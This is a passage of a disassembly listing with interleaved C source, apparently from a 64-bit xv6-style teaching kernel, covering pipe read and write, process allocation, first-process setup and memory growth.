ffff8000001062d9: 64 48 8b 00 mov %fs:(%rax),%rax
ffff8000001062dd: 8b 40 40 mov 0x40(%rax),%eax
ffff8000001062e0: 85 c0 test %eax,%eax
ffff8000001062e2: 74 1d je ffff800000106301 <pipewrite+0x73>
release(&p->lock);
ffff8000001062e4: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff8000001062e8: 48 89 c7 mov %rax,%rdi
ffff8000001062eb: 48 b8 fa 78 10 00 00 movabs $0xffff8000001078fa,%rax
ffff8000001062f2: 80 ff ff
ffff8000001062f5: ff d0 callq *%rax
return -1;
ffff8000001062f7: b8 ff ff ff ff mov $0xffffffff,%eax
ffff8000001062fc: e9 cf 00 00 00 jmpq ffff8000001063d0 <pipewrite+0x142>
}
wakeup(&p->nread);
ffff800000106301: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000106305: 48 05 68 02 00 00 add $0x268,%rax
ffff80000010630b: 48 89 c7 mov %rax,%rdi
ffff80000010630e: 48 b8 b8 73 10 00 00 movabs $0xffff8000001073b8,%rax
ffff800000106315: 80 ff ff
ffff800000106318: ff d0 callq *%rax
sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep
ffff80000010631a: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff80000010631e: 48 8b 55 e8 mov -0x18(%rbp),%rdx
ffff800000106322: 48 81 c2 6c 02 00 00 add $0x26c,%rdx
ffff800000106329: 48 89 c6 mov %rax,%rsi
ffff80000010632c: 48 89 d7 mov %rdx,%rdi
ffff80000010632f: 48 b8 47 72 10 00 00 movabs $0xffff800000107247,%rax
ffff800000106336: 80 ff ff
ffff800000106339: ff d0 callq *%rax
while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full
ffff80000010633b: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff80000010633f: 8b 90 6c 02 00 00 mov 0x26c(%rax),%edx
ffff800000106345: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000106349: 8b 80 68 02 00 00 mov 0x268(%rax),%eax
ffff80000010634f: 05 00 02 00 00 add $0x200,%eax
ffff800000106354: 39 c2 cmp %eax,%edx
ffff800000106356: 0f 84 68 ff ff ff je ffff8000001062c4 <pipewrite+0x36>
}
p->data[p->nwrite++ % PIPESIZE] = addr[i];
ffff80000010635c: 8b 45 fc mov -0x4(%rbp),%eax
ffff80000010635f: 48 63 d0 movslq %eax,%rdx
ffff800000106362: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff800000106366: 48 8d 34 02 lea (%rdx,%rax,1),%rsi
ffff80000010636a: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff80000010636e: 8b 80 6c 02 00 00 mov 0x26c(%rax),%eax
ffff800000106374: 8d 48 01 lea 0x1(%rax),%ecx
ffff800000106377: 48 8b 55 e8 mov -0x18(%rbp),%rdx
ffff80000010637b: 89 8a 6c 02 00 00 mov %ecx,0x26c(%rdx)
ffff800000106381: 25 ff 01 00 00 and $0x1ff,%eax
ffff800000106386: 89 c1 mov %eax,%ecx
ffff800000106388: 0f b6 16 movzbl (%rsi),%edx
ffff80000010638b: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff80000010638f: 89 c9 mov %ecx,%ecx
ffff800000106391: 88 54 08 68 mov %dl,0x68(%rax,%rcx,1)
for(i = 0; i < n; i++){
ffff800000106395: 83 45 fc 01 addl $0x1,-0x4(%rbp)
ffff800000106399: 8b 45 fc mov -0x4(%rbp),%eax
ffff80000010639c: 3b 45 dc cmp -0x24(%rbp),%eax
ffff80000010639f: 7c 9a jl ffff80000010633b <pipewrite+0xad>
}
wakeup(&p->nread); //DOC: pipewrite-wakeup1
ffff8000001063a1: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff8000001063a5: 48 05 68 02 00 00 add $0x268,%rax
ffff8000001063ab: 48 89 c7 mov %rax,%rdi
ffff8000001063ae: 48 b8 b8 73 10 00 00 movabs $0xffff8000001073b8,%rax
ffff8000001063b5: 80 ff ff
ffff8000001063b8: ff d0 callq *%rax
release(&p->lock);
ffff8000001063ba: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff8000001063be: 48 89 c7 mov %rax,%rdi
ffff8000001063c1: 48 b8 fa 78 10 00 00 movabs $0xffff8000001078fa,%rax
ffff8000001063c8: 80 ff ff
ffff8000001063cb: ff d0 callq *%rax
return n;
ffff8000001063cd: 8b 45 dc mov -0x24(%rbp),%eax
}
ffff8000001063d0: c9 leaveq
ffff8000001063d1: c3 retq
ffff8000001063d2 <piperead>:
int
piperead(struct pipe *p, char *addr, int n)
{
ffff8000001063d2: f3 0f 1e fa endbr64
ffff8000001063d6: 55 push %rbp
ffff8000001063d7: 48 89 e5 mov %rsp,%rbp
ffff8000001063da: 48 83 ec 30 sub $0x30,%rsp
ffff8000001063de: 48 89 7d e8 mov %rdi,-0x18(%rbp)
ffff8000001063e2: 48 89 75 e0 mov %rsi,-0x20(%rbp)
ffff8000001063e6: 89 55 dc mov %edx,-0x24(%rbp)
int i;
acquire(&p->lock);
ffff8000001063e9: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff8000001063ed: 48 89 c7 mov %rax,%rdi
ffff8000001063f0: 48 b8 5d 78 10 00 00 movabs $0xffff80000010785d,%rax
ffff8000001063f7: 80 ff ff
ffff8000001063fa: ff d0 callq *%rax
while(p->nread == p->nwrite && p->writeopen){ //DOC: pipe-empty
ffff8000001063fc: eb 50 jmp ffff80000010644e <piperead+0x7c>
if(proc->killed){
ffff8000001063fe: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff800000106405: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000106409: 8b 40 40 mov 0x40(%rax),%eax
ffff80000010640c: 85 c0 test %eax,%eax
ffff80000010640e: 74 1d je ffff80000010642d <piperead+0x5b>
release(&p->lock);
ffff800000106410: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000106414: 48 89 c7 mov %rax,%rdi
ffff800000106417: 48 b8 fa 78 10 00 00 movabs $0xffff8000001078fa,%rax
ffff80000010641e: 80 ff ff
ffff800000106421: ff d0 callq *%rax
return -1;
ffff800000106423: b8 ff ff ff ff mov $0xffffffff,%eax
ffff800000106428: e9 de 00 00 00 jmpq ffff80000010650b <piperead+0x139>
}
sleep(&p->nread, &p->lock); //DOC: piperead-sleep
ffff80000010642d: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000106431: 48 8b 55 e8 mov -0x18(%rbp),%rdx
ffff800000106435: 48 81 c2 68 02 00 00 add $0x268,%rdx
ffff80000010643c: 48 89 c6 mov %rax,%rsi
ffff80000010643f: 48 89 d7 mov %rdx,%rdi
ffff800000106442: 48 b8 47 72 10 00 00 movabs $0xffff800000107247,%rax
ffff800000106449: 80 ff ff
ffff80000010644c: ff d0 callq *%rax
while(p->nread == p->nwrite && p->writeopen){ //DOC: pipe-empty
ffff80000010644e: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000106452: 8b 90 68 02 00 00 mov 0x268(%rax),%edx
ffff800000106458: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff80000010645c: 8b 80 6c 02 00 00 mov 0x26c(%rax),%eax
ffff800000106462: 39 c2 cmp %eax,%edx
ffff800000106464: 75 0e jne ffff800000106474 <piperead+0xa2>
ffff800000106466: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff80000010646a: 8b 80 74 02 00 00 mov 0x274(%rax),%eax
ffff800000106470: 85 c0 test %eax,%eax
ffff800000106472: 75 8a jne ffff8000001063fe <piperead+0x2c>
}
for(i = 0; i < n; i++){ //DOC: piperead-copy
ffff800000106474: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
ffff80000010647b: eb 54 jmp ffff8000001064d1 <piperead+0xff>
if(p->nread == p->nwrite)
ffff80000010647d: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000106481: 8b 90 68 02 00 00 mov 0x268(%rax),%edx
ffff800000106487: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff80000010648b: 8b 80 6c 02 00 00 mov 0x26c(%rax),%eax
ffff800000106491: 39 c2 cmp %eax,%edx
ffff800000106493: 74 46 je ffff8000001064db <piperead+0x109>
break;
addr[i] = p->data[p->nread++ % PIPESIZE];
ffff800000106495: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000106499: 8b 80 68 02 00 00 mov 0x268(%rax),%eax
ffff80000010649f: 8d 48 01 lea 0x1(%rax),%ecx
ffff8000001064a2: 48 8b 55 e8 mov -0x18(%rbp),%rdx
ffff8000001064a6: 89 8a 68 02 00 00 mov %ecx,0x268(%rdx)
ffff8000001064ac: 25 ff 01 00 00 and $0x1ff,%eax
ffff8000001064b1: 89 c1 mov %eax,%ecx
ffff8000001064b3: 8b 45 fc mov -0x4(%rbp),%eax
ffff8000001064b6: 48 63 d0 movslq %eax,%rdx
ffff8000001064b9: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff8000001064bd: 48 01 c2 add %rax,%rdx
ffff8000001064c0: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff8000001064c4: 89 c9 mov %ecx,%ecx
ffff8000001064c6: 0f b6 44 08 68 movzbl 0x68(%rax,%rcx,1),%eax
ffff8000001064cb: 88 02 mov %al,(%rdx)
for(i = 0; i < n; i++){ //DOC: piperead-copy
ffff8000001064cd: 83 45 fc 01 addl $0x1,-0x4(%rbp)
ffff8000001064d1: 8b 45 fc mov -0x4(%rbp),%eax
ffff8000001064d4: 3b 45 dc cmp -0x24(%rbp),%eax
ffff8000001064d7: 7c a4 jl ffff80000010647d <piperead+0xab>
ffff8000001064d9: eb 01 jmp ffff8000001064dc <piperead+0x10a>
break;
ffff8000001064db: 90 nop
}
wakeup(&p->nwrite); //DOC: piperead-wakeup
ffff8000001064dc: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff8000001064e0: 48 05 6c 02 00 00 add $0x26c,%rax
ffff8000001064e6: 48 89 c7 mov %rax,%rdi
ffff8000001064e9: 48 b8 b8 73 10 00 00 movabs $0xffff8000001073b8,%rax
ffff8000001064f0: 80 ff ff
ffff8000001064f3: ff d0 callq *%rax
release(&p->lock);
ffff8000001064f5: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff8000001064f9: 48 89 c7 mov %rax,%rdi
ffff8000001064fc: 48 b8 fa 78 10 00 00 movabs $0xffff8000001078fa,%rax
ffff800000106503: 80 ff ff
ffff800000106506: ff d0 callq *%rax
return i;
ffff800000106508: 8b 45 fc mov -0x4(%rbp),%eax
}
ffff80000010650b: c9 leaveq
ffff80000010650c: c3 retq
ffff80000010650d <readeflags>:
{
ffff80000010650d: f3 0f 1e fa endbr64
ffff800000106511: 55 push %rbp
ffff800000106512: 48 89 e5 mov %rsp,%rbp
ffff800000106515: 48 83 ec 10 sub $0x10,%rsp
asm volatile("pushf; pop %0" : "=r" (eflags));
ffff800000106519: 9c pushfq
ffff80000010651a: 58 pop %rax
ffff80000010651b: 48 89 45 f8 mov %rax,-0x8(%rbp)
return eflags;
ffff80000010651f: 48 8b 45 f8 mov -0x8(%rbp),%rax
}
ffff800000106523: c9 leaveq
ffff800000106524: c3 retq
ffff800000106525 <sti>:
{
ffff800000106525: f3 0f 1e fa endbr64
ffff800000106529: 55 push %rbp
ffff80000010652a: 48 89 e5 mov %rsp,%rbp
asm volatile("sti");
ffff80000010652d: fb sti
}
ffff80000010652e: 90 nop
ffff80000010652f: 5d pop %rbp
ffff800000106530: c3 retq
ffff800000106531 <hlt>:
{
ffff800000106531: f3 0f 1e fa endbr64
ffff800000106535: 55 push %rbp
ffff800000106536: 48 89 e5 mov %rsp,%rbp
asm volatile("hlt");
ffff800000106539: f4 hlt
}
ffff80000010653a: 90 nop
ffff80000010653b: 5d pop %rbp
ffff80000010653c: c3 retq
ffff80000010653d <pinit>:
static void wakeup1(void *chan);
void
pinit(void)
{
ffff80000010653d: f3 0f 1e fa endbr64
ffff800000106541: 55 push %rbp
ffff800000106542: 48 89 e5 mov %rsp,%rbp
initlock(&ptable.lock, "ptable");
ffff800000106545: 48 be cb c7 10 00 00 movabs $0xffff80000010c7cb,%rsi
ffff80000010654c: 80 ff ff
ffff80000010654f: 48 bf 40 74 1f 00 00 movabs $0xffff8000001f7440,%rdi
ffff800000106556: 80 ff ff
ffff800000106559: 48 b8 24 78 10 00 00 movabs $0xffff800000107824,%rax
ffff800000106560: 80 ff ff
ffff800000106563: ff d0 callq *%rax
}
ffff800000106565: 90 nop
ffff800000106566: 5d pop %rbp
ffff800000106567: c3 retq
ffff800000106568 <allocproc>:
// If found, change state to EMBRYO and initialize
// state required to run in the kernel.
// Otherwise return 0.
static struct proc*
allocproc(void)
{
ffff800000106568: f3 0f 1e fa endbr64
ffff80000010656c: 55 push %rbp
ffff80000010656d: 48 89 e5 mov %rsp,%rbp
ffff800000106570: 48 83 ec 10 sub $0x10,%rsp
struct proc *p;
char *sp;
acquire(&ptable.lock);
ffff800000106574: 48 bf 40 74 1f 00 00 movabs $0xffff8000001f7440,%rdi
ffff80000010657b: 80 ff ff
ffff80000010657e: 48 b8 5d 78 10 00 00 movabs $0xffff80000010785d,%rax
ffff800000106585: 80 ff ff
ffff800000106588: ff d0 callq *%rax
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
ffff80000010658a: 48 b8 a8 74 1f 00 00 movabs $0xffff8000001f74a8,%rax
ffff800000106591: 80 ff ff
ffff800000106594: 48 89 45 f8 mov %rax,-0x8(%rbp)
ffff800000106598: eb 13 jmp ffff8000001065ad <allocproc+0x45>
if(p->state == UNUSED)
ffff80000010659a: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010659e: 8b 40 18 mov 0x18(%rax),%eax
ffff8000001065a1: 85 c0 test %eax,%eax
ffff8000001065a3: 74 38 je ffff8000001065dd <allocproc+0x75>
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
ffff8000001065a5: 48 81 45 f8 e0 00 00 addq $0xe0,-0x8(%rbp)
ffff8000001065ac: 00
ffff8000001065ad: 48 b8 a8 ac 1f 00 00 movabs $0xffff8000001faca8,%rax
ffff8000001065b4: 80 ff ff
ffff8000001065b7: 48 39 45 f8 cmp %rax,-0x8(%rbp)
ffff8000001065bb: 72 dd jb ffff80000010659a <allocproc+0x32>
goto found;
release(&ptable.lock);
ffff8000001065bd: 48 bf 40 74 1f 00 00 movabs $0xffff8000001f7440,%rdi
ffff8000001065c4: 80 ff ff
ffff8000001065c7: 48 b8 fa 78 10 00 00 movabs $0xffff8000001078fa,%rax
ffff8000001065ce: 80 ff ff
ffff8000001065d1: ff d0 callq *%rax
return 0;
ffff8000001065d3: b8 00 00 00 00 mov $0x0,%eax
ffff8000001065d8: e9 06 01 00 00 jmpq ffff8000001066e3 <allocproc+0x17b>
goto found;
ffff8000001065dd: 90 nop
ffff8000001065de: f3 0f 1e fa endbr64
found:
p->state = EMBRYO;
ffff8000001065e2: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001065e6: c7 40 18 01 00 00 00 movl $0x1,0x18(%rax)
p->pid = nextpid++;
ffff8000001065ed: 48 b8 40 d5 10 00 00 movabs $0xffff80000010d540,%rax
ffff8000001065f4: 80 ff ff
ffff8000001065f7: 8b 00 mov (%rax),%eax
ffff8000001065f9: 8d 50 01 lea 0x1(%rax),%edx
ffff8000001065fc: 48 b9 40 d5 10 00 00 movabs $0xffff80000010d540,%rcx
ffff800000106603: 80 ff ff
ffff800000106606: 89 11 mov %edx,(%rcx)
ffff800000106608: 48 8b 55 f8 mov -0x8(%rbp),%rdx
ffff80000010660c: 89 42 1c mov %eax,0x1c(%rdx)
release(&ptable.lock);
ffff80000010660f: 48 bf 40 74 1f 00 00 movabs $0xffff8000001f7440,%rdi
ffff800000106616: 80 ff ff
ffff800000106619: 48 b8 fa 78 10 00 00 movabs $0xffff8000001078fa,%rax
ffff800000106620: 80 ff ff
ffff800000106623: ff d0 callq *%rax
// Allocate kernel stack.
if((p->kstack = kalloc()) == 0){
ffff800000106625: 48 b8 66 42 10 00 00 movabs $0xffff800000104266,%rax
ffff80000010662c: 80 ff ff
ffff80000010662f: ff d0 callq *%rax
ffff800000106631: 48 8b 55 f8 mov -0x8(%rbp),%rdx
ffff800000106635: 48 89 42 10 mov %rax,0x10(%rdx)
ffff800000106639: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010663d: 48 8b 40 10 mov 0x10(%rax),%rax
ffff800000106641: 48 85 c0 test %rax,%rax
ffff800000106644: 75 15 jne ffff80000010665b <allocproc+0xf3>
p->state = UNUSED;
ffff800000106646: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010664a: c7 40 18 00 00 00 00 movl $0x0,0x18(%rax)
return 0;
ffff800000106651: b8 00 00 00 00 mov $0x0,%eax
ffff800000106656: e9 88 00 00 00 jmpq ffff8000001066e3 <allocproc+0x17b>
}
sp = p->kstack + KSTACKSIZE;
ffff80000010665b: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010665f: 48 8b 40 10 mov 0x10(%rax),%rax
ffff800000106663: 48 05 00 10 00 00 add $0x1000,%rax
ffff800000106669: 48 89 45 f0 mov %rax,-0x10(%rbp)
// Leave room for trap frame.
sp -= sizeof *p->tf;
ffff80000010666d: 48 81 6d f0 b0 00 00 subq $0xb0,-0x10(%rbp)
ffff800000106674: 00
p->tf = (struct trapframe*)sp;
ffff800000106675: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000106679: 48 8b 55 f0 mov -0x10(%rbp),%rdx
ffff80000010667d: 48 89 50 28 mov %rdx,0x28(%rax)
// Set up new context to start executing at forkret,
// which returns to trapret.
sp -= sizeof(addr_t);
ffff800000106681: 48 83 6d f0 08 subq $0x8,-0x10(%rbp)
*(addr_t*)sp = (addr_t)syscall_trapret;
ffff800000106686: 48 ba b7 99 10 00 00 movabs $0xffff8000001099b7,%rdx
ffff80000010668d: 80 ff ff
ffff800000106690: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000106694: 48 89 10 mov %rdx,(%rax)
sp -= sizeof *p->context;
ffff800000106697: 48 83 6d f0 38 subq $0x38,-0x10(%rbp)
p->context = (struct context*)sp;
ffff80000010669c: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001066a0: 48 8b 55 f0 mov -0x10(%rbp),%rdx
ffff8000001066a4: 48 89 50 30 mov %rdx,0x30(%rax)
memset(p->context, 0, sizeof *p->context);
ffff8000001066a8: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001066ac: 48 8b 40 30 mov 0x30(%rax),%rax
ffff8000001066b0: ba 38 00 00 00 mov $0x38,%edx
ffff8000001066b5: be 00 00 00 00 mov $0x0,%esi
ffff8000001066ba: 48 89 c7 mov %rax,%rdi
ffff8000001066bd: 48 b8 03 7c 10 00 00 movabs $0xffff800000107c03,%rax
ffff8000001066c4: 80 ff ff
ffff8000001066c7: ff d0 callq *%rax
p->context->rip = (addr_t)forkret;
ffff8000001066c9: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001066cd: 48 8b 40 30 mov 0x30(%rax),%rax
ffff8000001066d1: 48 ba e4 71 10 00 00 movabs $0xffff8000001071e4,%rdx
ffff8000001066d8: 80 ff ff
ffff8000001066db: 48 89 50 30 mov %rdx,0x30(%rax)
return p;
ffff8000001066df: 48 8b 45 f8 mov -0x8(%rbp),%rax
}
ffff8000001066e3: c9 leaveq
ffff8000001066e4: c3 retq
ffff8000001066e5 <userinit>:
//PAGEBREAK: 32
// Set up first user process.
void
userinit(void)
{
ffff8000001066e5: f3 0f 1e fa endbr64
ffff8000001066e9: 55 push %rbp
ffff8000001066ea: 48 89 e5 mov %rsp,%rbp
ffff8000001066ed: 48 83 ec 10 sub $0x10,%rsp
struct proc *p;
extern char _binary_initcode_start[], _binary_initcode_size[];
p = allocproc();
ffff8000001066f1: 48 b8 68 65 10 00 00 movabs $0xffff800000106568,%rax
ffff8000001066f8: 80 ff ff
ffff8000001066fb: ff d0 callq *%rax
ffff8000001066fd: 48 89 45 f8 mov %rax,-0x8(%rbp)
initproc = p;
ffff800000106701: 48 ba a8 ac 1f 00 00 movabs $0xffff8000001faca8,%rdx
ffff800000106708: 80 ff ff
ffff80000010670b: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010670f: 48 89 02 mov %rax,(%rdx)
if((p->pgdir = setupkvm()) == 0)
ffff800000106712: 48 b8 42 b2 10 00 00 movabs $0xffff80000010b242,%rax
ffff800000106719: 80 ff ff
ffff80000010671c: ff d0 callq *%rax
ffff80000010671e: 48 8b 55 f8 mov -0x8(%rbp),%rdx
ffff800000106722: 48 89 42 08 mov %rax,0x8(%rdx)
ffff800000106726: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010672a: 48 8b 40 08 mov 0x8(%rax),%rax
ffff80000010672e: 48 85 c0 test %rax,%rax
ffff800000106731: 75 16 jne ffff800000106749 <userinit+0x64>
panic("userinit: out of memory?");
ffff800000106733: 48 bf d2 c7 10 00 00 movabs $0xffff80000010c7d2,%rdi
ffff80000010673a: 80 ff ff
ffff80000010673d: 48 b8 f9 0b 10 00 00 movabs $0xffff800000100bf9,%rax
ffff800000106744: 80 ff ff
ffff800000106747: ff d0 callq *%rax
inituvm(p->pgdir, _binary_initcode_start,
ffff800000106749: 48 b8 3c 00 00 00 00 movabs $0x3c,%rax
ffff800000106750: 00 00 00
ffff800000106753: 89 c2 mov %eax,%edx
ffff800000106755: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000106759: 48 8b 40 08 mov 0x8(%rax),%rax
ffff80000010675d: 48 be 60 de 10 00 00 movabs $0xffff80000010de60,%rsi
ffff800000106764: 80 ff ff
ffff800000106767: 48 89 c7 mov %rax,%rdi
ffff80000010676a: 48 b8 ca b7 10 00 00 movabs $0xffff80000010b7ca,%rax
ffff800000106771: 80 ff ff
ffff800000106774: ff d0 callq *%rax
(addr_t)_binary_initcode_size);
p->sz = PGSIZE * 2;
ffff800000106776: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010677a: 48 c7 00 00 20 00 00 movq $0x2000,(%rax)
memset(p->tf, 0, sizeof(*p->tf));
ffff800000106781: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000106785: 48 8b 40 28 mov 0x28(%rax),%rax
ffff800000106789: ba b0 00 00 00 mov $0xb0,%edx
ffff80000010678e: be 00 00 00 00 mov $0x0,%esi
ffff800000106793: 48 89 c7 mov %rax,%rdi
ffff800000106796: 48 b8 03 7c 10 00 00 movabs $0xffff800000107c03,%rax
ffff80000010679d: 80 ff ff
ffff8000001067a0: ff d0 callq *%rax
p->tf->r11 = FL_IF; // with SYSRET, EFLAGS is in R11
ffff8000001067a2: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001067a6: 48 8b 40 28 mov 0x28(%rax),%rax
ffff8000001067aa: 48 c7 40 50 00 02 00 movq $0x200,0x50(%rax)
ffff8000001067b1: 00
p->tf->rsp = p->sz;
ffff8000001067b2: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001067b6: 48 8b 40 28 mov 0x28(%rax),%rax
ffff8000001067ba: 48 8b 55 f8 mov -0x8(%rbp),%rdx
ffff8000001067be: 48 8b 12 mov (%rdx),%rdx
ffff8000001067c1: 48 89 90 a0 00 00 00 mov %rdx,0xa0(%rax)
p->tf->rcx = PGSIZE; // with SYSRET, RIP is in RCX
ffff8000001067c8: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001067cc: 48 8b 40 28 mov 0x28(%rax),%rax
ffff8000001067d0: 48 c7 40 10 00 10 00 movq $0x1000,0x10(%rax)
ffff8000001067d7: 00
safestrcpy(p->name, "initcode", sizeof(p->name));
ffff8000001067d8: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001067dc: 48 05 d0 00 00 00 add $0xd0,%rax
ffff8000001067e2: ba 10 00 00 00 mov $0x10,%edx
ffff8000001067e7: 48 be eb c7 10 00 00 movabs $0xffff80000010c7eb,%rsi
ffff8000001067ee: 80 ff ff
ffff8000001067f1: 48 89 c7 mov %rax,%rdi
ffff8000001067f4: 48 b8 d3 7e 10 00 00 movabs $0xffff800000107ed3,%rax
ffff8000001067fb: 80 ff ff
ffff8000001067fe: ff d0 callq *%rax
p->cwd = namei("/");
ffff800000106800: 48 bf f4 c7 10 00 00 movabs $0xffff80000010c7f4,%rdi
ffff800000106807: 80 ff ff
ffff80000010680a: 48 b8 ff 37 10 00 00 movabs $0xffff8000001037ff,%rax
ffff800000106811: 80 ff ff
ffff800000106814: ff d0 callq *%rax
ffff800000106816: 48 8b 55 f8 mov -0x8(%rbp),%rdx
ffff80000010681a: 48 89 82 c8 00 00 00 mov %rax,0xc8(%rdx)
__sync_synchronize();
ffff800000106821: 0f ae f0 mfence
p->state = RUNNABLE;
ffff800000106824: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000106828: c7 40 18 03 00 00 00 movl $0x3,0x18(%rax)
}
ffff80000010682f: 90 nop
ffff800000106830: c9 leaveq
ffff800000106831: c3 retq
ffff800000106832 <growproc>:
// Grow current process's memory by n bytes.
// Return 0 on success, -1 on failure.
int
growproc(int64 n)
{
ffff800000106832: f3 0f 1e fa endbr64
ffff800000106836: 55 push %rbp
ffff800000106837: 48 89 e5 mov %rsp,%rbp
ffff80000010683a: 48 83 ec 20 sub $0x20,%rsp
ffff80000010683e: 48 89 7d e8 mov %rdi,-0x18(%rbp)
addr_t sz;
sz = proc->sz;
ffff800000106842: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff800000106849: 64 48 8b 00 mov %fs:(%rax),%rax
ffff80000010684d: 48 8b 00 mov (%rax),%rax
ffff800000106850: 48 89 45 f8 mov %rax,-0x8(%rbp)
if(n > 0){
ffff800000106854: 48 83 7d e8 00 cmpq $0x0,-0x18(%rbp)
ffff800000106859: 7e 42 jle ffff80000010689d <growproc+0x6b>
if((sz = allocuvm(proc->pgdir, sz, sz + n)) == 0)
ffff80000010685b: 48 8b 55 e8 mov -0x18(%rbp),%rdx
ffff80000010685f: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000106863: 48 01 c2 add %rax,%rdx
ffff800000106866: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff80000010686d: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000106871: 48 8b 40 08 mov 0x8(%rax),%rax
ffff800000106875: 48 8b 4d f8 mov -0x8(%rbp),%rcx
ffff800000106879: 48 89 ce mov %rcx,%rsi
ffff80000010687c: 48 89 c7 mov %rax,%rdi
ffff80000010687f: 48 b8 aa b9 10 00 00 movabs $0xffff80000010b9aa,%rax
ffff800000106886: 80 ff ff
ffff800000106889: ff d0 callq *%rax
ffff80000010688b: 48 89 45 f8 mov %rax,-0x8(%rbp)
ffff80000010688f: 48 83 7d f8 00 cmpq $0x0,-0x8(%rbp)
ffff800000106894: 75 50 jne ffff8000001068e6 <growproc+0xb4>
return -1;
ffff800000106896: b8 ff ff ff ff mov $0xffffffff,%eax
ffff80000010689b: eb 7a jmp ffff800000106917 <growproc+0xe5>
} else if(n < 0){
ffff80000010689d: 48 83 7d e8 00 cmpq $0x0,-0x18(%rbp)
ffff8000001068a2: 79 42 jns ffff8000001068e6 <growproc+0xb4>
if((sz = deallocuvm(proc->pgdir, sz, sz + n)) == 0)
ffff8000001068a4: 48 8b 55 e8 mov -0x18(%rbp),%rdx
ffff8000001068a8: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001068ac: 48 01 c2 add %rax,%rdx
ffff8000001068af: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff8000001068b6: 64 48 8b 00 mov %fs:(%rax),%rax
ffff8000001068ba: 48 8b 40 08 mov 0x8(%rax),%rax
ffff8000001068be: 48 8b 4d f8 mov -0x8(%rbp),%rcx
ffff8000001068c2: 48 89 ce mov %rcx,%rsi
ffff8000001068c5: 48 89 c7 mov %rax,%rdi
ffff8000001068c8: 48 b8 f2 ba 10 00 00 movabs $0xffff80000010baf2,%rax
ffff8000001068cf: 80 ff ff
ffff8000001068d2: ff d0 callq *%rax
ffff8000001068d4: 48 89 45 f8 mov %rax,-0x8(%rbp)
ffff8000001068d8: 48 83 7d f8 00 cmpq $0x0,-0x8(%rbp)
ffff8000001068dd: 75 07 jne ffff8000001068e6 <growproc+0xb4>
return -1;
ffff8000001068df: b8 ff ff ff ff mov $0xffffffff,%eax
ffff8000001068e4: eb 31 jmp ffff800000106917 <growproc+0xe5>
}
proc->sz = sz;
ffff8000001068e6: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff8000001068ed: 64 48 8b 00 mov %fs:(%rax),%rax
ffff8000001068f1: 48 8b 55 f8 mov -0x8(%rbp),%rdx
ffff8000001068f5: 48 89 10 mov %rdx,(%rax)
switchuvm(proc);
ffff8000001068f8: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff8000001068ff: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000106903: 48 89 c7 mov %rax,%rdi
ffff800000106906: 48 b8 a8 b3 10 00 00 movabs $0xffff80000010b3a8,%rax
ffff80000010690d: 80 ff ff
ffff800000106910: ff d0 callq *%rax
return 0;
ffff800000106912: b8 00 00 00 00 mov $0x0,%eax
}
ffff800000106917: c9 leaveq
ffff800000106918: c3 retq
ffff800000106919 <fork>:
// Create a new process copying p as the parent.
// Sets up stack to return as if from system call.
// Caller must set state of returned proc to RUNNABLE.
int
fork(void)
{
ffff800000106919: f3 0f 1e fa endbr64
ffff80000010691d: 55 push %rbp
